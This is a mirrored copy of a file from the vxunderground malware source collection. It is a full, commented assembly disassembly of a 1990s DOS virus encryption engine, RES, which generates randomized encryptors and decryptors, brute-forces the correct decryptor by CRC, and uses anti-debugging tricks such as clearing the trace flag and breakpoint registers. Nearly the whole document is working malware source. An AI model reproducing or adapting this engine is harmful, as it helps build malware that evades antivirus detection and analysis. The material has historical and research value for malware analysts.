mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
459 lines
12 KiB
NASM
459 lines
12 KiB
NASM
; - -[RES.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||
;
|
||
; Random Encryption Synthezator (RES), by SSR
|
||
; Disasm by Tcp/29A (tcp@cryogen.com)
|
||
;
|
||
;
|
||
; Entry:
|
||
; DS:DX = code
|
||
; BX = runtime offset
|
||
; CX = number of bytes to encrypt
|
||
; Return:
|
||
; DS:DX = encryptor+code
|
||
; CX = size encryptor+code
|
||
|
||
|
||
.386p
|
||
RES segment use16
|
||
assume cs:RES, ds:RES, es:RES, ss:RES
|
||
org 0
|
||
|
||
RES_SIZE_DEC equ 300h ; But it only needs 169h
|
||
|
||
res_engine:
|
||
start:
|
||
call res_delta
|
||
res_delta:
|
||
pop si
|
||
sub si,3 ; Get delta-offset
|
||
pop ax
|
||
push cs
|
||
push ax
|
||
push es
|
||
mov ax,es
|
||
sub ax,10h
|
||
mov es,ax
|
||
mov di,100h
|
||
push cx
|
||
mov cx,offset(end_res)
|
||
nop
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
cld
|
||
rep movsb ; Copy RES code to working area
|
||
pop ds
|
||
pop cx
|
||
mov ax,offset(res_start+100h)
|
||
push es
|
||
push ax
|
||
retf ; jmp res_start
|
||
|
||
res_start:
|
||
pop es
|
||
mov si,100h
|
||
mov ax,es
|
||
add ax,(end_res-start+15)/16+1
|
||
mov es,ax ; Calculate base segment for decryptor
|
||
mov cs:[si+runtime_ofs],bx
|
||
mov cs:[si+code_length],cx
|
||
push cx
|
||
mov cx,RES_SIZE_DEC
|
||
xor di,di
|
||
mov al,90h ; NOP
|
||
cld
|
||
rep stosb ; Fill with NOPs
|
||
call init_masks
|
||
mov cx,8 ; 8 instructions per decryptor
|
||
xor di,di
|
||
add di,si
|
||
l_select_instructions:
|
||
push cx
|
||
call RES_get_random
|
||
mov ah,0
|
||
push cx
|
||
mov cl,5
|
||
shr al,cl ; AX in [0..7]
|
||
shl ax,1
|
||
shl ax,1 ; AX:=AX*4 (4 bytes per instruction)
|
||
pop cx
|
||
push di
|
||
push si
|
||
add di,offset(buffer_decryptor)
|
||
add si,offset(decryptor_table)
|
||
add si,ax
|
||
push ax
|
||
mov ax,cs:[si] ; Select an instruction for decryptor
|
||
mov cs:[di],ax ; and store it
|
||
mov ax,cs:[si+2]
|
||
mov cs:[di+2],ax
|
||
pop ax
|
||
pop si
|
||
pop di
|
||
push di
|
||
push si
|
||
add di,offset(buffer_encryptor)
|
||
add si,offset(encryptor_table)
|
||
add si,ax
|
||
push ax
|
||
mov ax,cs:[si] ; Select the instruction for encryptor
|
||
mov cs:[di],ax ; and store it
|
||
mov ax,cs:[si+2]
|
||
mov cs:[di+2],ax
|
||
pop ax
|
||
pop si
|
||
pop di
|
||
add di,4
|
||
pop cx
|
||
loop l_select_instructions
|
||
call reverse_decryptor_table
|
||
call make_encryptor
|
||
pop cx
|
||
push cx
|
||
mov bp,dx
|
||
mov di,RES_SIZE_DEC
|
||
mov cs:[si+code_CRC],0
|
||
l_encrypt_code:
|
||
mov al,ds:[bp]
|
||
mov es:[di],al
|
||
mov ah,0
|
||
add cs:[si+code_CRC],ax ; Make code CRC
|
||
|
||
encryptor db 8*4 dup(90h) ; Buffer for encryptor
|
||
|
||
inc di
|
||
inc bp
|
||
loop l_encrypt_code
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
xor di,di
|
||
push si
|
||
add si,offset(decryptor_code)
|
||
mov cx,decrypted_code-decryptor_code
|
||
nop
|
||
cld
|
||
rep movsb ; Copy decryptor to buffer
|
||
pop si
|
||
pop ds
|
||
push es
|
||
pop ds
|
||
xor dx,dx ; DS:DX = Address of decryptor+code
|
||
pop cx
|
||
add cx,RES_SIZE_DEC ; Decryptor+encrypted code
|
||
retf
|
||
|
||
db 0
|
||
db 'RandomEncryptionSynthezator',0
|
||
db '<27> S.S.R. 1996-97',0
|
||
|
||
init_masks:
|
||
push si
|
||
mov cx,3 ; Only first 3 instructions need a mask
|
||
l_next_mask:
|
||
call RES_get_random
|
||
mov byte ptr cs:[si+decryptor_table+3],al ; Store mask
|
||
mov byte ptr cs:[si+encryptor_table+3],al
|
||
add si,4 ; Next inst.
|
||
loop l_next_mask
|
||
pop si
|
||
ret
|
||
|
||
RES_get_random:
|
||
pushf
|
||
in al,40h ; Get random number
|
||
ror al,1
|
||
xor al,53h
|
||
popf
|
||
ret
|
||
|
||
make_encryptor:
|
||
push es
|
||
push ds
|
||
push cs
|
||
pop es
|
||
push cs
|
||
pop ds
|
||
push si
|
||
in al,40h ; Get random number
|
||
mov cx,8
|
||
mov di,offset(encryptor)
|
||
add di,si
|
||
add si,offset(buffer_encryptor)
|
||
l_make_encryptor:
|
||
rcr al,1 ; Add instruction to encryptor?
|
||
jc add_instruction ; Yes? then jmp
|
||
nop
|
||
nop
|
||
add si,4
|
||
loop_make_encryptor:
|
||
loop l_make_encryptor
|
||
jmp encryptor_done
|
||
nop
|
||
|
||
add_instruction:
|
||
cld
|
||
push cx
|
||
mov cx,4
|
||
rep movsb ; Store instruction
|
||
pop cx
|
||
jmp loop_make_encryptor
|
||
|
||
encryptor_done:
|
||
pop si
|
||
pop ds
|
||
pop es
|
||
ret
|
||
|
||
reverse_decryptor_table:
|
||
push ax
|
||
push bp
|
||
push di
|
||
push cx
|
||
push bx
|
||
mov cx,8/2
|
||
mov di,offset(buffer_decryptor)
|
||
add di,si
|
||
mov bp,offset(end_buffer_dec)-4 ; Point to last inst.
|
||
add bp,si
|
||
l_reverse_table:
|
||
mov ax,cs:[di] ; Xchg instructions
|
||
mov bx,cs:[bp]
|
||
mov cs:[di],bx
|
||
mov cs:[bp],ax
|
||
mov ax,cs:[di+2]
|
||
mov bx,cs:[bp+2]
|
||
mov cs:[di+2],bx
|
||
mov cs:[bp+2],ax
|
||
sub bp,4 ; xchg next instruction
|
||
add di,4
|
||
loop l_reverse_table
|
||
pop bx
|
||
pop cx
|
||
pop di
|
||
pop bp
|
||
pop ax
|
||
ret
|
||
|
||
db 4 ; Unused !!
|
||
|
||
decryptor_code:
|
||
runtime_ofs equ word ptr $+1
|
||
mov bp,0 ; mov bp,runtime_ofs
|
||
push 1100h+(90h+3Ch-20h)
|
||
sub bp,offset(decryptor_code)
|
||
mov di,offset(decryptor)
|
||
add di,bp
|
||
pop ax ; AX:=1100h+(90h+3Ch-20h)
|
||
inc cs:[bp+n_decryptors] ; Inc # of tested decryptors
|
||
mov cs:[bp+decryptor_ok],0 ; Decryptor not found
|
||
mov cs:[bp+decrypting],0 ; Not decrypting
|
||
mov cx,20h
|
||
push es
|
||
push ds
|
||
add ax,cx
|
||
push cs
|
||
pop es
|
||
push cs
|
||
pop ds
|
||
cld
|
||
dec cx
|
||
sub al,3Ch ; AL:=90h (NOP)
|
||
rep stosb
|
||
add al,3Ch ; AL:=0CCh (int 3)
|
||
stosb
|
||
cmp cs:[bp+n_decryptors],150 ; < 150 decryptors tested?
|
||
jb create_random_decryptor ; Yes? then jmp
|
||
nop
|
||
nop
|
||
mov ax,cs:[bp+n_decryptors] ; Don't use a random number.
|
||
; n_decryptors will be increased, so it'll
|
||
; find the correct decryptor.
|
||
jmp create_decryptor
|
||
nop
|
||
|
||
db 66h ; Unused!? (antidebug??)
|
||
|
||
create_random_decryptor:
|
||
in al,40h ; Get random number
|
||
create_decryptor:
|
||
mov cs:[bp+decryptor_id],al ; Why? Never use it!!
|
||
mov cx,8
|
||
mov si,offset(buffer_decryptor)
|
||
add si,bp
|
||
mov di,offset(decryptor)
|
||
add di,bp
|
||
l_make_random_decryptor:
|
||
rcr al,1 ; Add instruction to decryptor?
|
||
jc add_inst_dec ; Yes? then jmp
|
||
nop
|
||
nop
|
||
add si,4
|
||
next_dec_instruction:
|
||
loop l_make_random_decryptor
|
||
jmp done_random_decryptor
|
||
nop
|
||
|
||
add_inst_dec:
|
||
cld
|
||
push cx
|
||
mov cx,4
|
||
rep movsb ; Add instruction
|
||
pop cx
|
||
jmp next_dec_instruction
|
||
|
||
done_random_decryptor:
|
||
mov di,RES_SIZE_DEC
|
||
add di,cs:[bp+runtime_ofs]
|
||
code_length equ word ptr $+1
|
||
mov cx,0 ; mov cx,code_length
|
||
mov bx,cs:[bp+code_CRC]
|
||
l_random_decryptor:
|
||
mov dl,cs:[di]
|
||
|
||
decryptor db 8*4 dup(90h)
|
||
|
||
mov al,dl
|
||
mov ah,0
|
||
sub bx,ax ; Calculate CRC
|
||
cmp cs:[bp+decrypting],1 ; Decrypting?
|
||
je decrypt_byte ; Yes? then jmp
|
||
nop
|
||
nop
|
||
loop_decryptor:
|
||
inc di
|
||
loop l_random_decryptor
|
||
pop ds
|
||
pop es
|
||
cmp bx,0 ; CRC OK?
|
||
jnz decryptor_code ; No? then jmp
|
||
jmp found_decryptor ; Yes? then jmp
|
||
nop
|
||
|
||
buffer_decryptor db 8*4 dup(90h)
|
||
end_buffer_dec:
|
||
|
||
code_CRC dw 0
|
||
decryptor_ok db 0
|
||
decrypting db 0
|
||
db 0Bh ; Unused!
|
||
db 0Bh ; Unused!
|
||
db 0Bh ; Unused!
|
||
decryptor_id db 0
|
||
n_decryptors dw 0
|
||
|
||
decrypt_byte:
|
||
mov cs:[di],dl ; Store decrypted byte
|
||
jmp loop_decryptor
|
||
|
||
found_decryptor:
|
||
cmp cs:[bp+decryptor_ok],1 ; Code decrypted?
|
||
je code_decrypted ; Yes? then jmp
|
||
nop
|
||
nop
|
||
mov cs:[bp+decrypting],1
|
||
mov cs:[bp+decryptor_ok],1
|
||
push es
|
||
push ds
|
||
jmp done_random_decryptor ; Decrypt code
|
||
|
||
code_decrypted:
|
||
jmp anti_disasm1
|
||
nop
|
||
db 69h ; Antidebug
|
||
anti_disasm1:
|
||
cli
|
||
push 3545h
|
||
jmp anti_disasm2
|
||
nop
|
||
db 0EAh ; Antidebug
|
||
anti_disasm2:
|
||
cli
|
||
inc sp
|
||
mov ax,cs:[bp]
|
||
xor ax,bx
|
||
cld
|
||
scasb
|
||
inc sp
|
||
mov ax,4202h
|
||
sub sp,2
|
||
pop ax
|
||
cmp ax,3545h ; Is it being traced?
|
||
jne decrypted_code ; Yes? then jmp
|
||
; BUG! Should jump when not traced
|
||
nop
|
||
nop
|
||
xor ax,3445h
|
||
mov es,ax
|
||
inc byte ptr cs:[0Dh]
|
||
and cx,0Fh
|
||
rep scasb
|
||
xor ax,cs:[si]
|
||
pushf
|
||
pop ax ; Get flags
|
||
and ah,0FEh ; Clear trace flag
|
||
push ax
|
||
xchg bx,cx
|
||
les bx,ds:[2Bh]
|
||
popf ; Trace flag off
|
||
xor eax,eax
|
||
mov dr7,eax ; Clear all breakpoints
|
||
dec byte ptr cs:[0Dh]
|
||
call skip_reset
|
||
db 0EAh ; jmp far ptr 0F000h:0FFF0h (reset)
|
||
dw 0FFF0h ; but never reach here because in 'skip_reset'
|
||
dw 0F000h ; it does a pop of the return address
|
||
|
||
skip_reset:
|
||
pop ax
|
||
decrypted_code: ; End of decryptor code
|
||
|
||
encryptor_table:
|
||
xor byte ptr es:[di],0
|
||
add byte ptr es:[di],0
|
||
sub byte ptr es:[di],0
|
||
nop
|
||
ror byte ptr es:[di],1
|
||
nop
|
||
rol byte ptr es:[di],1
|
||
nop
|
||
neg byte ptr es:[di]
|
||
nop
|
||
not byte ptr es:[di]
|
||
nop
|
||
neg byte ptr es:[di]
|
||
|
||
decryptor_table:
|
||
nop
|
||
xor dl,0
|
||
nop
|
||
sub dl,0
|
||
nop
|
||
add dl,0
|
||
nop
|
||
nop
|
||
rol dl,1
|
||
nop
|
||
nop
|
||
ror dl,1
|
||
nop
|
||
nop
|
||
neg dl
|
||
nop
|
||
nop
|
||
not dl
|
||
nop
|
||
nop
|
||
neg dl
|
||
|
||
buffer_encryptor db 8*4 dup(90h)
|
||
|
||
end_res:
|
||
|
||
RES ends
|
||
public res_engine
|
||
end
|
||
|
||
; End of RES disasm
|
||
; (c) 1997, Tcp/29A (tcp@cryogen.com)
|